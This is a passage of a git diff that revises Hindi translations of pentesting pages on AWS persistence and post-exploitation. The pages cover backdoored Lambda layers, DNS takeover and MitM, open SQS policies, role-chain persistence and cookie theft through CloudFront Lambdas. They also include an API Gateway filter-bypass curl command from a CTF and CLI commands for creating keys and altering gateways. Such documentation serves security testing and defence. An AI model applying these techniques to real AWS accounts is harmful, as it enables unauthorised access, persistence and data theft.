+> जब इस तकनीक का दुरुपयोग करते समय मैंने एक कठिनाई पाई: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\
> इस स्थायी तकनीक का दुरुपयोग करने के लिए, कोड को **एक नया पुस्तकालय लोड करना होगा जो लोड नहीं होता** जब कोड निष्पादित होता है।
-इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त की जाए जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में:
+इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त करें जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में:
```python
import sys
@@ -102,7 +102,7 @@ sys.modules["csv"] = _csv
- उपयोगकर्ता की एक मौजूदा लेयर में बैकडोर डालें (कुछ भी बाहरी नहीं है)
- **अपने खाते में** एक **लेयर** **बनाएं**, **पीड़ित खाते को लेयर का उपयोग करने के लिए अनुमति दें**, **पीड़ित की लैम्ब्डा में लेयर को कॉन्फ़िगर करें** और **अनुमति हटा दें**।
-- **लैम्ब्डा** अभी भी **लेयर का उपयोग कर सकेगा** और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा)
+- **लैम्ब्डा** अभी भी **लेयर का उपयोग** कर सकेगा और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा)
- पीड़ित **`aws lambda list-layers`** के साथ उपयोग की गई बाहरी लेयर्स नहीं देखेगा।
```bash
# Upload backdoor layer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 60be5857c..645e03f05 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -10,7 +10,7 @@
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### इंस्टेंस SSH कुंजी और DB पासवर्ड डाउनलोड करें
+### डाउनलोड इंस्टेंस SSH कुंजी और DB पासवर्ड
वे शायद नहीं बदले जाएंगे इसलिए उन्हें रखना स्थिरता के लिए एक अच्छा विकल्प है
@@ -26,8 +26,8 @@
यदि डोमेन कॉन्फ़िगर किए गए हैं:
-- एक उपडोमेन बनाएं जो आपके IP की ओर इशारा करता है ताकि आपके पास **subdomain takeover** हो
-- **SPF** रिकॉर्ड बनाएं जो आपको डोमेन से **emails** भेजने की अनुमति देता है
-- **मुख्य डोमेन IP को अपने स्वयं के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें
+- अपने IP की ओर इशारा करने वाला एक उपडोमेन बनाएं ताकि आपके पास **subdomain takeover** हो
+- डोमेन से **emails** भेजने की अनुमति देने वाला **SPF** रिकॉर्ड बनाएं
+- **मुख्य डोमेन IP को अपने खुद के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 2cfcd11e9..e336d83d0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -1,4 +1,4 @@
-# AWS - RDS Persistence
+# AWS - RDS स्थिरता
{{#include ../../../banners/hacktricks-training.md}}
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
```
### DB के अंदर एक एडमिन यूजर बनाएं
-एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल दिया जाए तो भी वह **डेटाबेस तक पहुंच नहीं खोता**।
+एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल भी दिया जाए तो वह **डेटाबेस तक पहुंच नहीं खोता**।
### स्नैपशॉट को सार्वजनिक बनाएं
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 4f899931c..166e93fa8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -10,15 +10,15 @@
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS क्लाइंट-साइड एन्क्रिप्शन
+### KMS Client-Side Encryption
जब एन्क्रिप्शन प्रक्रिया पूरी हो जाती है, तो उपयोगकर्ता KMS API का उपयोग करके एक नया कुंजी उत्पन्न करेगा (`aws kms generate-data-key`) और वह **उत्पन्न एन्क्रिप्टेड कुंजी को फ़ाइल के मेटाडेटा के अंदर स्टोर करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब डिक्रिप्शन हो, तो वह इसे फिर से KMS का उपयोग करके डिक्रिप्ट कर सके:
-इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का पुन: उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा।
+इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा।
-### S3 ACLs का उपयोग करना
+### Using S3 ACLs
हालांकि आमतौर पर बाल्टियों के ACLs बंद होते हैं, एक हमलावर जिसके पास पर्याप्त विशेषाधिकार हैं, उनका दुरुपयोग कर सकता है (यदि सक्षम हैं या यदि हमलावर उन्हें सक्षम कर सकता है) S3 बाल्टी तक पहुंच बनाए रखने के लिए।
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 32aea59f0..4d4d68187 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -16,9 +16,9 @@
### Secrets Rotate Lambda के माध्यम से
-स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **निकाल** सकता है।
+स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **बाहर निकाल** सकता है।
-इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड इस तरह दिख सकता है:
+यहाँ इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड ऐसा दिख सकता है:
```python
import boto3
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index a139dad70..e02f50fbf 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -63,7 +63,7 @@
]
}
```
-### Create Subscribers
+### Subscribers बनाएं
सभी विषयों से सभी संदेशों को निकालने के लिए हमलावर **सभी विषयों के लिए सब्सक्राइबर बना सकता है**।
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 07f54abcb..6a7cbe0ad 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -12,8 +12,8 @@
### संसाधन नीति का उपयोग करना
-SQS में आपको IAM नीति के साथ यह संकेत देना होगा कि **किसके पास पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को संकेत देना संभव है।\
-निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ तक पहुँच देती है:
+SQS में आपको IAM नीति के साथ **यह बताना होगा कि किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को इंगित करना संभव है।\
+निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ एक्सेस करने की अनुमति देती है:
```json
{
"Version": "2008-10-17",
@@ -32,6 +32,6 @@ SQS में आपको IAM नीति के साथ यह संके
}
```
> [!NOTE]
-> आप हर बार जब कतार में एक नया संदेश डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> आप हर बार जब एक नया संदेश कतार में डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 1b41b7d91..2093a18f5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -22,13 +22,13 @@ aws sts get-session-token \
--token-code <code-from-token>
# हार्डवेयर डिवाइस का नाम आमतौर पर डिवाइस के पीछे का नंबर होता है, जैसे GAHT12345678
-# SMS डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:sms-mfa/username
-# वर्चुअल डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:mfa/username
+# SMS डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:sms-mfa/username
+# वर्चुअल डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:mfa/username
### Role Chain Juggling
-[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जिसे अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग किया जाता है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
+[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जो अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग की जाती है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से प्रारंभिक भूमिका पर **चक्रीय तरीके से लौटते हुए**। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
आप इस [**उपकरण**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके रोल चेनिंग को जारी रख सकते हैं:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index ae4e45866..22aff6750 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -13,7 +13,7 @@
### एक्सपोज़ न किए गए APIs तक पहुँचें
आप [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) में `com.amazonaws.us-east-1.execute-api` सेवा के साथ एक एंडपॉइंट बना सकते हैं, उस नेटवर्क में एंडपॉइंट को एक्सपोज़ करें जहाँ आपके पास पहुँच है (संभवतः एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाले सुरक्षा समूह को असाइन करें।\
-फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच प्राप्त कर सकेंगे और इसलिए उस गेटवे API को कॉल कर सकेंगे जो पहले एक्सपोज़ नहीं किया गया था।
+फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच सकते हैं और इसलिए उस गेटवे API को कॉल कर सकते हैं जो पहले एक्सपोज़ नहीं किया गया था।
### अनुरोध शरीर पासथ्रू को बायपास करें
@@ -21,14 +21,14 @@
जैसा कि [**AWS दस्तावेज़**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` अनुभाग में संकेतित किया गया है, डिफ़ॉल्ट रूप से, मान **`WHEN_NO_MATCH`** , जब अनुरोध के **Content-Type** हेडर की जांच की जाती है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास करेगा।
-इसलिए, CTF में API गेटवे में एक इंटीग्रेशन टेम्पलेट था जो **फ्लैग को रिस्पॉन्स में एक्सफिल्ट्रेट होने से रोक रहा था** जब एक अनुरोध `Content-Type: application/json` के साथ भेजा गया था:
+इसलिए, CTF में API गेटवे में एक एकीकरण टेम्पलेट था जो **फ्लैग को प्रतिक्रिया में एक्सफिल्ट्रेट होने से रोक रहा था** जब अनुरोध `Content-Type: application/json` के साथ भेजा गया था:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
हालांकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को रोका जा सकेगा।
-अंत में, चूंकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, एक POST अनुरोध भेजकर जिसमें क्वेरी शरीर में हो और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया जाए:
+अंत में, चूंकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, जिसमें क्वेरी को बॉडी में भेजकर और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया गया:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
+**संभावित प्रभाव**: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
> [!NOTE]
> परीक्षण की आवश्यकता है
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` की अनुमति है, **एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके**।
+एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके**।
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,7 +76,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं**।
+एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` की अनुमति है, **एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं**।
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
+**संभावित प्रभाव**: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
> [!NOTE]
> परीक्षण की आवश्यकता है
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-एक हमलावर जिसके पास `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` की अनुमति है, **API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जो संभावित रूप से API की सुरक्षा को कमजोर कर सकता है**।
+एक हमलावर जिसके पास `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` की अनुमति है, **API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जिससे API की सुरक्षा कमजोर हो सकती है**।
```bash
API_ID="your-api-id"
@@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-एक हमलावर जिसके पास अनुमतियाँ `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हैं, **नए API कुंजी बना सकता है, उन्हें उपयोग योजना के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है**।
+एक हमलावर जिसके पास अनुमतियाँ `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हैं, **नए API कुंजी बना सकता है, उन्हें उपयोग योजनाओं के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है**।
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 586f0f4e1..121c32994 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,7 +12,7 @@
### Man-in-the-Middle
-यह [**ब्लॉग पोस्ट**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ विभिन्न परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront** के माध्यम से **संचार** में जोड़ा (या यदि यह पहले से उपयोग में है तो संशोधित) किया जा सकता है, जिसका उद्देश्य उपयोगकर्ता की जानकारी (जैसे सत्र का **कुकी**) को **चुराना** और **प्रतिक्रिया** को **संशोधित** करना (एक दुर्भावनापूर्ण JS स्क्रिप्ट को इंजेक्ट करना) है।
+यह [**ब्लॉग पोस्ट**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ विभिन्न परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront** के माध्यम से **संचार** में जोड़ा (या संशोधित) किया जा सकता है, जिसका उद्देश्य उपयोगकर्ता की जानकारी (जैसे सत्र का **कुकी**) को **चुराना** और **प्रतिक्रिया** को **संशोधित** करना (एक दुर्भावनापूर्ण JS स्क्रिप्ट को इंजेक्ट करना) है।
#### परिदृश्य 1: MitM जहाँ CloudFront को एक बकेट के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है
@@ -20,12 +20,12 @@
- इसे CloudFront वितरण के साथ **संलग्न** करें।
- **इवेंट प्रकार को "Viewer Response"** पर सेट करें।
-प्रतिक्रिया को एक्सेस करते समय आप उपयोगकर्ताओं का कुकी चुरा सकते हैं और एक दुर्भावनापूर्ण JS इंजेक्ट कर सकते हैं।
+प्रतिक्रिया को एक्सेस करके आप उपयोगकर्ताओं का कुकी चुरा सकते हैं और एक दुर्भावनापूर्ण JS इंजेक्ट कर सकते हैं।
-#### परिदृश्य 2: MitM जहाँ CloudFront पहले से एक lambda फ़ंक्शन का उपयोग कर रहा है
+#### परिदृश्य 2: MitM जहाँ CloudFront पहले से ही एक lambda फ़ंक्शन का उपयोग कर रहा है
-- संवेदनशील जानकारी चुराने के लिए lambda फ़ंक्शन का **कोड संशोधित करें**।
+- संवेदनशील जानकारी चुराने के लिए lambda फ़ंक्शन का **कोड संशोधित** करें।
-आप इस परिदृश्य को फिर से बनाने के लिए [**tf कोड यहाँ देख सकते हैं**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+आप [**इन परिदृश्यों को फिर से बनाने के लिए tf कोड यहाँ देख सकते हैं**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 251b90e13..8a7e20945 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@
### Check Secrets
-यदि क्रेडेंशियल्स को Github, Gitlab या Bitbucket से कनेक्ट करने के लिए Codebuild में सेट किया गया है, व्यक्तिगत टोकन, पासवर्ड या OAuth टोकन एक्सेस के रूप में, तो ये **क्रेडेंशियल्स को सीक्रेट मैनेजर में सीक्रेट्स के रूप में स्टोर किया जाएगा**।\
+यदि Codebuild में Github, Gitlab या Bitbucket से कनेक्ट करने के लिए व्यक्तिगत टोकन, पासवर्ड या OAuth टोकन एक्सेस के रूप में क्रेडेंशियल सेट किए गए हैं, तो ये **क्रेडेंशियल्स सीक्रेट मैनेजर में सीक्रेट्स के रूप में स्टोर किए जाएंगे**।\
इसलिए, यदि आपके पास सीक्रेट मैनेजर को पढ़ने का एक्सेस है, तो आप इन सीक्रेट्स को प्राप्त कर सकते हैं और जुड़े प्लेटफॉर्म पर पिवट कर सकते हैं।
{{#ref}}
@@ -27,12 +27,12 @@
**CodeBuild प्रोजेक्ट को कॉन्फ़िगर किए गए स्रोत प्रदाता तक एक्सेस होना चाहिए**, या तो **IAM भूमिका** के माध्यम से या github/bitbucket **टोकन या OAuth एक्सेस** के साथ।
-एक हमलावर के पास **CodeBuild में उच्च अनुमतियाँ** होने पर, वह इस कॉन्फ़िगर किए गए एक्सेस का दुरुपयोग करके कॉन्फ़िगर किए गए रेपो और अन्य में कोड लीक कर सकता है जहाँ सेट क्रेड्स को एक्सेस है।\
-इसके लिए, एक हमलावर को बस **रेपो के लिए प्रत्येक रेपो का रिपॉजिटरी URL बदलने की आवश्यकता होगी** जिनके लिए कॉन्फ़िग क्रेडेंशियल्स को एक्सेस है (ध्यान दें कि aws वेब आपके लिए सभी को सूचीबद्ध करेगा):
+एक हमलावर के पास **CodeBuild में ऊंचे अनुमतियाँ** होने पर, वह इस कॉन्फ़िगर किए गए एक्सेस का दुरुपयोग करके कॉन्फ़िगर किए गए रेपो और अन्य में कोड लीक कर सकता है जहाँ सेट क्रेड्स को एक्सेस है।\
+इसके लिए, एक हमलावर को बस **रेपो URL को प्रत्येक रेपो में बदलने की आवश्यकता होगी जहाँ कॉन्फ़िग क्रेडेंशियल्स को एक्सेस है** (ध्यान दें कि aws वेब आपके लिए सभी को सूचीबद्ध करेगा):
-और **प्रत्येक रेपो को एक्सफिल्ट्रेट करने के लिए Buildspec कमांड बदलें**।
+और **प्रत्येक रेपो को एक्सफिल्ट्रेट करने के लिए Buildspec कमांड को बदलें**।
> [!WARNING]
> हालाँकि, यह **कार्य दोहरावदार और थकाऊ है** और यदि एक github टोकन को **लिखने की अनुमतियों** के साथ कॉन्फ़िगर किया गया था, तो एक हमलावर **उन अनुमतियों का (दुरुपयोग) नहीं कर पाएगा** क्योंकि उसके पास टोकन तक पहुँच नहीं है।\
@@ -40,7 +40,7 @@
### Leaking Access Tokens from AWS CodeBuild
-आप CodeBuild में दिए गए एक्सेस को Github जैसे प्लेटफार्मों पर लीक कर सकते हैं। जाँच करें कि क्या किसी बाहरी प्लेटफार्मों तक पहुँच दी गई थी:
+आप CodeBuild में दिए गए एक्सेस को Github जैसे प्लेटफार्मों पर लीक कर सकते हैं। जाँच करें कि क्या किसी बाहरी प्लेटफार्मों तक कोई एक्सेस दिया गया था:
```bash
aws codebuild list-source-credentials
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 87d9c5d14..7ae72bc81 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Github/Bitbucket कॉन्फ़िगर किए गए टोकन पुनर्प्राप्त करें
+## Github/Bitbucket कॉन्फ़िगर किए गए टोकन को पुनर्प्राप्त करें
पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं:
```bash
@@ -10,19 +10,19 @@ aws codebuild list-source-credentials
```
### Via Docker Image
